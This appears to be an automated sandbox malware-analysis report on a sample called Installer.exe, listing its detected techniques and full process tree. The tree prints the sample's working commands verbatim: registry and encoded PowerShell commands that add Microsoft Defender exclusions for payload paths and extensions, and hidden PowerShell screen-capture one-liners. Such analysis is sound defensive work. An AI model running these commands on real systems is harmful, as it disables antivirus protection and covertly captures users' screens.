Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/07/2026, 18:12

General

  • Target
    Installer.exe
  • Size 168.1MB
  • Sample260721-wtnsnsde99
  • SHA256 f1fdb3e045eff53d860bb757980dd194b392910fc8a9b640bae912388cda9c4c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 7 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Hide Artifacts: Hidden Window 1 TTPs 6 IoCs

    Windows that would typically be displayed when an application carries out an operation can be hidden.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 19 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 23 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2396
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5468
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:1212
      • C:\Users\Admin\AppData\Local\Temp\Installer.exe
        "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1660 --field-trial-handle=1664,i,15027810019652141721,5281795483038658163,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2
        2⤵
          PID:4704
        • C:\Users\Admin\AppData\Local\Temp\Installer.exe
          "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --mojo-platform-channel-handle=1984 --field-trial-handle=1664,i,15027810019652141721,5281795483038658163,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:3
          2⤵
            PID:1852
          • C:\Users\Admin\AppData\Local\Temp\Installer.exe
            "C:\Users\Admin\AppData\Local\Temp\Installer.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\installer" --app-path="C:\Users\Admin\AppData\Local\Temp\resources\app" --enable-sandbox --no-sandbox --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2232 --field-trial-handle=1664,i,15027810019652141721,5281795483038658163,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1
            2⤵
              PID:2928
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658048293.png\"); $g.Dispose(); $bmp.Dispose()""
              2⤵
              • Hide Artifacts: Hidden Window
              • Suspicious use of WriteProcessMemory
              PID:2436
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658048293.png\"); $g.Dispose(); $bmp.Dispose()"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4908
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "net session"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1532
              • C:\Windows\system32\net.exe
                net session
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:5548
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 session
                  4⤵
                    PID:5948
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_53defaef.vbs""
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4468
                • C:\Windows\system32\wscript.exe
                  wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_53defaef.vbs"
                  3⤵
                  • Executes a VBScript file via the Windows Script Host.
                  PID:6064
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:2788
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                  3⤵
                  • Windows security bypass
                  PID:1908
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4856
                • C:\Windows\system32\reg.exe
                  reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe" /t REG_DWORD /d 0 /f
                  3⤵
                    PID:4368
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:3204
                  • C:\Windows\system32\reg.exe
                    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828" /t REG_DWORD /d 0 /f
                    3⤵
                    • Windows security bypass
                    PID:1332
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828" /t REG_DWORD /d 0 /f"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:1776
                  • C:\Windows\system32\reg.exe
                    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828" /t REG_DWORD /d 0 /f
                    3⤵
                      PID:1452
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:5620
                    • C:\Windows\system32\reg.exe
                      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                      3⤵
                      • Windows security bypass
                      PID:2820
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
                    2⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:972
                    • C:\Windows\system32\reg.exe
                      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
                      3⤵
                        PID:4204
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2028
                      • C:\Windows\system32\reg.exe
                        reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe" /t REG_DWORD /d 0 /f
                        3⤵
                        • Windows security bypass
                        PID:4876
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe" /t REG_DWORD /d 0 /f"
                      2⤵
                      • Executes a command shell one-liner
                      • Suspicious use of WriteProcessMemory
                      PID:2544
                      • C:\Windows\system32\reg.exe
                        reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe" /t REG_DWORD /d 0 /f
                        3⤵
                          PID:4960
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2112
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
                          3⤵
                          • Windows security bypass
                          PID:4452
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5684
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
                          3⤵
                          • Windows security bypass
                          PID:3260
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3884
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
                          3⤵
                          • Windows security bypass
                          PID:4284
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAA0ADYANQA4ADAANAA2ADgAMgA4ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADQANgA1ADgAMAA0ADYAOAAyADgAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:5504
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAA0ADYANQA4ADAANAA2ADgAMgA4ACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADQANgA1ADgAMAA0ADYAOAAyADgAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
                          3⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1104
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658050294.png\"); $g.Dispose(); $bmp.Dispose()""
                        2⤵
                        • Hide Artifacts: Hidden Window
                        • Suspicious use of WriteProcessMemory
                        PID:1392
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658050294.png\"); $g.Dispose(); $bmp.Dispose()"
                          3⤵
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3420
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
                        2⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3432
                        • C:\Windows\system32\reg.exe
                          reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
                          3⤵
                            PID:5340
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828""
                          2⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5372
                          • C:\Windows\system32\reg.exe
                            reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828"
                            3⤵
                              PID:6012
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
                            2⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5992
                            • C:\Windows\system32\reg.exe
                              reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
                              3⤵
                                PID:2212
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe""
                              2⤵
                              • Executes a command shell one-liner
                              • Suspicious use of WriteProcessMemory
                              PID:2776
                              • C:\Windows\system32\reg.exe
                                reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe"
                                3⤵
                                  PID:2752
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658054232.png\"); $g.Dispose(); $bmp.Dispose()""
                                2⤵
                                • Hide Artifacts: Hidden Window
                                • Suspicious use of WriteProcessMemory
                                PID:1164
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658054232.png\"); $g.Dispose(); $bmp.Dispose()"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:2756
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe' -ErrorAction SilentlyContinue""
                                2⤵
                                • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
                                • Hide Artifacts: Hidden Window
                                • Hide Artifacts: Ignore Process Interrupts
                                • Suspicious use of WriteProcessMemory
                                PID:3436
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1784658046828\payload.exe' -ErrorAction SilentlyContinue"
                                  3⤵
                                  • Command and Scripting Interpreter: PowerShell
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:3516
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms; $b = [System.Drawing.Rectangle]::FromLTRB(0, 0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $bmp = New-Object System.Drawing.Bitmap($b.Width, $b.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen($b.Location, [System.Drawing.Point]::Empty, $b.Size); $bmp.Save(\"C:\\Users\\Admin\\AppData\\Local\\Temp\\scr_1784658055344.png\"); $g.Dispose(); $bmp.Dispose()""
                                2⤵
                                • Hide Artifacts: Hidden Window
                                • Suspicious use of WriteProcessMemory
                                PID:6056
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
